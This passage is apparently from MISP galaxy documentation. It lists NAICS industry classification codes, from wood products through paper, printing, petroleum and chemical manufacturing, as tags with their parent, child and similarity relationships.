3219 has relationships with:

- child-of: misp-galaxy:naics="321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321918" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321999" with estimative-language:likelihood-probability="likely"

32191

Millwork

The tag is: *misp-galaxy:naics="32191"*

View relationships graph

32191 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

321911

Wood Window and Door Manufacturing

The tag is: *misp-galaxy:naics="321911"*

View relationships graph

321911 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

321912

Cut Stock, Resawing Lumber, and Planing

The tag is: *misp-galaxy:naics="321912"*

View relationships graph

321912 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

321918

Other Millwork (including Flooring)

The tag is: *misp-galaxy:naics="321918"*

View relationships graph

321918 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

32192

Wood Container and Pallet Manufacturing

The tag is: *misp-galaxy:naics="32192"*

View relationships graph

32192 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="321920" with estimative-language:likelihood-probability="likely"

321920

Wood Container and Pallet Manufacturing

The tag is: *misp-galaxy:naics="321920"*

View relationships graph

321920 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="32192" with estimative-language:likelihood-probability="likely"

32199

All Other Wood Product Manufacturing

The tag is: *misp-galaxy:naics="32199"*

View relationships graph

32199 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

321991

Manufactured Home (Mobile Home) Manufacturing

The tag is: *misp-galaxy:naics="321991"*

View relationships graph

321991 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

321992

Prefabricated Wood Building Manufacturing

The tag is: *misp-galaxy:naics="321992"*

View relationships graph

321992 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

321999

All Other Miscellaneous Wood Product Manufacturing

The tag is: *misp-galaxy:naics="321999"*

View relationships graph

321999 has relationships with:

- child-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

322

Paper Manufacturing

The tag is: *misp-galaxy:naics="322"*

View relationships graph

322 has relationships with:

- parent-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

3221

Pulp, Paper, and Paperboard Mills

The tag is: *misp-galaxy:naics="3221"*

View relationships graph

3221 has relationships with:

- child-of: misp-galaxy:naics="322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322130" with estimative-language:likelihood-probability="likely"

32211

Pulp Mills

The tag is: *misp-galaxy:naics="32211"*

View relationships graph

32211 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322110" with estimative-language:likelihood-probability="likely"

322110

Pulp Mills

The tag is: *misp-galaxy:naics="322110"*

View relationships graph

322110 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32211" with estimative-language:likelihood-probability="likely"

32212

Paper Mills

The tag is: *misp-galaxy:naics="32212"*

View relationships graph

32212 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322120" with estimative-language:likelihood-probability="likely"

322120

Paper Mills

The tag is: *misp-galaxy:naics="322120"*

View relationships graph

322120 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32212" with estimative-language:likelihood-probability="likely"

32213

Paperboard Mills

The tag is: *misp-galaxy:naics="32213"*

View relationships graph

32213 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322130" with estimative-language:likelihood-probability="likely"

322130

Paperboard Mills

The tag is: *misp-galaxy:naics="322130"*

View relationships graph

322130 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32213" with estimative-language:likelihood-probability="likely"

3222

Converted Paper Product Manufacturing

The tag is: *misp-galaxy:naics="3222"*

View relationships graph

3222 has relationships with:

- child-of: misp-galaxy:naics="322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322299" with estimative-language:likelihood-probability="likely"

32221

Paperboard Container Manufacturing

The tag is: *misp-galaxy:naics="32221"*

View relationships graph

32221 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322211

Corrugated and Solid Fiber Box Manufacturing

The tag is: *misp-galaxy:naics="322211"*

View relationships graph

322211 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322212

Folding Paperboard Box Manufacturing

The tag is: *misp-galaxy:naics="322212"*

View relationships graph

322212 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322219

Other Paperboard Container Manufacturing

The tag is: *misp-galaxy:naics="322219"*

View relationships graph

322219 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

32222

Paper Bag and Coated and Treated Paper Manufacturing

The tag is: *misp-galaxy:naics="32222"*

View relationships graph

32222 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322220" with estimative-language:likelihood-probability="likely"

322220

Paper Bag and Coated and Treated Paper Manufacturing

The tag is: *misp-galaxy:naics="322220"*

View relationships graph

322220 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32222" with estimative-language:likelihood-probability="likely"

32223

Stationery Product Manufacturing

The tag is: *misp-galaxy:naics="32223"*

View relationships graph

32223 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322230" with estimative-language:likelihood-probability="likely"

322230

Stationery Product Manufacturing

The tag is: *misp-galaxy:naics="322230"*

View relationships graph

322230 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32223" with estimative-language:likelihood-probability="likely"

32229

Other Converted Paper Product Manufacturing

The tag is: *misp-galaxy:naics="32229"*

View relationships graph

32229 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322291

Sanitary Paper Product Manufacturing

The tag is: *misp-galaxy:naics="322291"*

View relationships graph

322291 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322299

All Other Converted Paper Product Manufacturing

The tag is: *misp-galaxy:naics="322299"*

View relationships graph

322299 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

323

Printing and Related Support Activities

The tag is: *misp-galaxy:naics="323"*

View relationships graph

323 has relationships with:

- parent-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

3231

Printing and Related Support Activities

The tag is: *misp-galaxy:naics="3231"*

View relationships graph

3231 has relationships with:

- child-of: misp-galaxy:naics="323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323117" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323120" with estimative-language:likelihood-probability="likely"

32311

Printing

The tag is: *misp-galaxy:naics="32311"*

View relationships graph

32311 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

323111

Commercial Printing (except Screen and Books)

The tag is: *misp-galaxy:naics="323111"*

View relationships graph

323111 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

323113

Commercial Screen Printing

The tag is: *misp-galaxy:naics="323113"*

View relationships graph

323113 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

323117

Books Printing

The tag is: *misp-galaxy:naics="323117"*

View relationships graph

323117 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

32312

Support Activities for Printing

The tag is: *misp-galaxy:naics="32312"*

View relationships graph

32312 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="323120" with estimative-language:likelihood-probability="likely"

323120

Support Activities for Printing

The tag is: *misp-galaxy:naics="323120"*

View relationships graph

323120 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32312" with estimative-language:likelihood-probability="likely"

324

Petroleum and Coal Products Manufacturing

The tag is: *misp-galaxy:naics="324"*

View relationships graph

324 has relationships with:

- parent-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

3241

Petroleum and Coal Products Manufacturing

The tag is: *misp-galaxy:naics="3241"*

View relationships graph

3241 has relationships with:

- child-of: misp-galaxy:naics="324" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="324110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="324121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="324122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32419" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="324191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="324199" with estimative-language:likelihood-probability="likely"

32411

Petroleum Refineries

The tag is: *misp-galaxy:naics="32411"*

View relationships graph

32411 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="324110" with estimative-language:likelihood-probability="likely"

324110

Petroleum Refineries

The tag is: *misp-galaxy:naics="324110"*

View relationships graph

324110 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32411" with estimative-language:likelihood-probability="likely"

32412

Asphalt Paving, Roofing, and Saturated Materials Manufacturing

The tag is: *misp-galaxy:naics="32412"*

View relationships graph

32412 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324121

Asphalt Paving Mixture and Block Manufacturing

The tag is: *misp-galaxy:naics="324121"*

View relationships graph

324121 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324122

Asphalt Shingle and Coating Materials Manufacturing

The tag is: *misp-galaxy:naics="324122"*

View relationships graph

324122 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

32419

Other Petroleum and Coal Products Manufacturing

The tag is: *misp-galaxy:naics="32419"*

View relationships graph

32419 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324191

Petroleum Lubricating Oil and Grease Manufacturing

The tag is: *misp-galaxy:naics="324191"*

View relationships graph

324191 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324199

All Other Petroleum and Coal Products Manufacturing

The tag is: *misp-galaxy:naics="324199"*

View relationships graph

324199 has relationships with:

- child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

325

Chemical Manufacturing

The tag is: *misp-galaxy:naics="325"*

View relationships graph

325 has relationships with:

- parent-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3255" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

3251

Basic Chemical Manufacturing

The tag is: *misp-galaxy:naics="3251"*

View relationships graph

3251 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32518" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325180" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32519" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325193" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325194" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325199" with estimative-language:likelihood-probability="likely"

32511

Petrochemical Manufacturing

The tag is: *misp-galaxy:naics="32511"*

View relationships graph

32511 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325110" with estimative-language:likelihood-probability="likely"

325110

Petrochemical Manufacturing

The tag is: *misp-galaxy:naics="325110"*

View relationships graph

325110 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32511" with estimative-language:likelihood-probability="likely"

32512

Industrial Gas Manufacturing

The tag is: *misp-galaxy:naics="32512"*

View relationships graph

32512 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325120" with estimative-language:likelihood-probability="likely"

325120

Industrial Gas Manufacturing

The tag is: *misp-galaxy:naics="325120"*

View relationships graph

325120 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32512" with estimative-language:likelihood-probability="likely"

32513

Synthetic Dye and Pigment Manufacturing

The tag is: *misp-galaxy:naics="32513"*

View relationships graph

32513 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325130" with estimative-language:likelihood-probability="likely"

325130

Synthetic Dye and Pigment Manufacturing

The tag is: *misp-galaxy:naics="325130"*

View relationships graph

325130 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32513" with estimative-language:likelihood-probability="likely"

32518

Other Basic Inorganic Chemical Manufacturing

The tag is: *misp-galaxy:naics="32518"*

View relationships graph

32518 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325180" with estimative-language:likelihood-probability="likely"

325180

Other Basic Inorganic Chemical Manufacturing

The tag is: *misp-galaxy:naics="325180"*

View relationships graph

325180 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32518" with estimative-language:likelihood-probability="likely"

32519

Other Basic Organic Chemical Manufacturing

The tag is: *misp-galaxy:naics="32519"*

View relationships graph

32519 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

325193

Ethyl Alcohol Manufacturing

The tag is: *misp-galaxy:naics="325193"*

View relationships graph

325193 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

325194

Cyclic Crude, Intermediate, and Gum and Wood Chemical Manufacturing

The tag is: *misp-galaxy:naics="325194"*

View relationships graph

325194 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

325199

All Other Basic Organic Chemical Manufacturing

The tag is: *misp-galaxy:naics="325199"*

View relationships graph

325199 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

3252

Resin, Synthetic Rubber, and Artificial and Synthetic Fibers and Filaments Manufacturing

The tag is: *misp-galaxy:naics="3252"*

View relationships graph

3252 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325220" with estimative-language:likelihood-probability="likely"

32521

Resin and Synthetic Rubber Manufacturing

The tag is: *misp-galaxy:naics="32521"*

View relationships graph

32521 has relationships with:

- child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"

325211

Plastics Material and Resin Manufacturing

The tag is: *misp-galaxy:naics="325211"*

View relationships graph

325211 has relationships with:

- child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"

325212

Synthetic Rubber Manufacturing

The tag is: *misp-galaxy:naics="325212"*

View relationships graph

325212 has relationships with:

- child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"

32522

Artificial and Synthetic Fibers and Filaments Manufacturing

The tag is: *misp-galaxy:naics="32522"*

View relationships graph

32522 has relationships with:

- child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325220" with estimative-language:likelihood-probability="likely"

325220

Artificial and Synthetic Fibers and Filaments Manufacturing

The tag is: *misp-galaxy:naics="325220"*

View relationships graph

325220 has relationships with:

- child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32522" with estimative-language:likelihood-probability="likely"

3253

Pesticide, Fertilizer, and Other Agricultural Chemical Manufacturing

The tag is: *misp-galaxy:naics="3253"*

View relationships graph

3253 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325320" with estimative-language:likelihood-probability="likely"

32531

Fertilizer and Compost Manufacturing

The tag is: *misp-galaxy:naics="32531"*

View relationships graph

32531 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"

325311

Nitrogenous Fertilizer Manufacturing

The tag is: *misp-galaxy:naics="325311"*

View relationships graph

325311 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"

325312

Phosphatic Fertilizer Manufacturing

The tag is: *misp-galaxy:naics="325312"*

View relationships graph

325312 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"

325314

Fertilizer (Mixing Only) Manufacturing

The tag is: *misp-galaxy:naics="325314"*

View relationships graph

325314 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"

325315

Compost Manufacturing

The tag is: *misp-galaxy:naics="325315"*

View relationships graph

325315 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"

32532

Pesticide and Other Agricultural Chemical Manufacturing

The tag is: *misp-galaxy:naics="32532"*

View relationships graph

32532 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325320" with estimative-language:likelihood-probability="likely"

325320

Pesticide and Other Agricultural Chemical Manufacturing

The tag is: *misp-galaxy:naics="325320"*

View relationships graph

325320 has relationships with:

- child-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32532" with estimative-language:likelihood-probability="likely"

3254

Pharmaceutical and Medicine Manufacturing

The tag is: *misp-galaxy:naics="3254"*

View relationships graph

3254 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325414" with estimative-language:likelihood-probability="likely"

32541

Pharmaceutical and Medicine Manufacturing

The tag is: *misp-galaxy:naics="32541"*

View relationships graph

32541 has relationships with:

- child-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

325411

Medicinal and Botanical Manufacturing

The tag is: *misp-galaxy:naics="325411"*

View relationships graph

325411 has relationships with:

- child-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

325412

Pharmaceutical Preparation Manufacturing

The tag is: *misp-galaxy:naics="325412"*

View relationships graph

325412 has relationships with:

- child-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

325413

In-Vitro Diagnostic Substance Manufacturing

The tag is: *misp-galaxy:naics="325413"*

View relationships graph

325413 has relationships with:

- child-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

325414

Biological Product (except Diagnostic) Manufacturing

The tag is: *misp-galaxy:naics="325414"*

View relationships graph

325414 has relationships with:

- child-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

3255

Paint, Coating, and Adhesive Manufacturing

The tag is: *misp-galaxy:naics="3255"*

View relationships graph

3255 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32552" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325520" with estimative-language:likelihood-probability="likely"

32551

Paint and Coating Manufacturing

The tag is: *misp-galaxy:naics="32551"*

View relationships graph

32551 has relationships with:

- child-of: misp-galaxy:naics="3255" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325510" with estimative-language:likelihood-probability="likely"

325510

Paint and Coating Manufacturing

The tag is: *misp-galaxy:naics="325510"*

View relationships graph

325510 has relationships with:

- child-of: misp-galaxy:naics="3255" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32551" with estimative-language:likelihood-probability="likely"

32552

Adhesive Manufacturing

The tag is: *misp-galaxy:naics="32552"*

View relationships graph

32552 has relationships with:

- child-of: misp-galaxy:naics="3255" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325520" with estimative-language:likelihood-probability="likely"

325520

Adhesive Manufacturing

The tag is: *misp-galaxy:naics="325520"*

View relationships graph

325520 has relationships with:

- child-of: misp-galaxy:naics="3255" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32552" with estimative-language:likelihood-probability="likely"

3256

Soap, Cleaning Compound, and Toilet Preparation Manufacturing

The tag is: *misp-galaxy:naics="3256"*

View relationships graph

3256 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325620" with estimative-language:likelihood-probability="likely"

32561

Soap and Cleaning Compound Manufacturing

The tag is: *misp-galaxy:naics="32561"*

View relationships graph

32561 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

325611

Soap and Other Detergent Manufacturing

The tag is: *misp-galaxy:naics="325611"*

View relationships graph

325611 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

325612

Polish and Other Sanitation Good Manufacturing

The tag is: *misp-galaxy:naics="325612"*

View relationships graph

325612 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

325613

Surface Active Agent Manufacturing

The tag is: *misp-galaxy:naics="325613"*

View relationships graph

325613 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

32562

Toilet Preparation Manufacturing

The tag is: *misp-galaxy:naics="32562"*

View relationships graph

32562 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325620" with estimative-language:likelihood-probability="likely"

325620

Toilet Preparation Manufacturing

The tag is: *misp-galaxy:naics="325620"*

View relationships graph

325620 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32562" with estimative-language:likelihood-probability="likely"

3259

Other Chemical Product and Preparation Manufacturing

The tag is: *misp-galaxy:naics="3259"*

View relationships graph

3259 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325998" with estimative-language:likelihood-probability="likely"

32591

Printing Ink Manufacturing

The tag is: *misp-galaxy:naics="32591"*

View relationships graph

32591 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325910" with estimative-language:likelihood-probability="likely"

325910

Printing Ink Manufacturing

The tag is: *misp-galaxy:naics="325910"*

View relationships graph

325910 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32591" with estimative-language:likelihood-probability="likely"

32592

Explosives Manufacturing

The tag is: *misp-galaxy:naics="32592"*

View relationships graph

32592 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325920" with estimative-language:likelihood-probability="likely"

325920

Explosives Manufacturing

The tag is: *misp-galaxy:naics="325920"*

View relationships graph

325920 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32592" with estimative-language:likelihood-probability="likely"

32599

All Other Chemical Product and Preparation Manufacturing

The tag is: *misp-galaxy:naics="32599"*

View relationships graph

32599 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

325991

Custom Compounding of Purchased Resins

The tag is: *misp-galaxy:naics="325991"*

View relationships graph

325991 has relationships with:

- child-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

325992

Photographic Film, Paper, Plate, Chemical, and Copy Toner Manufacturing

The tag is: *misp-galaxy:naics="325992"*

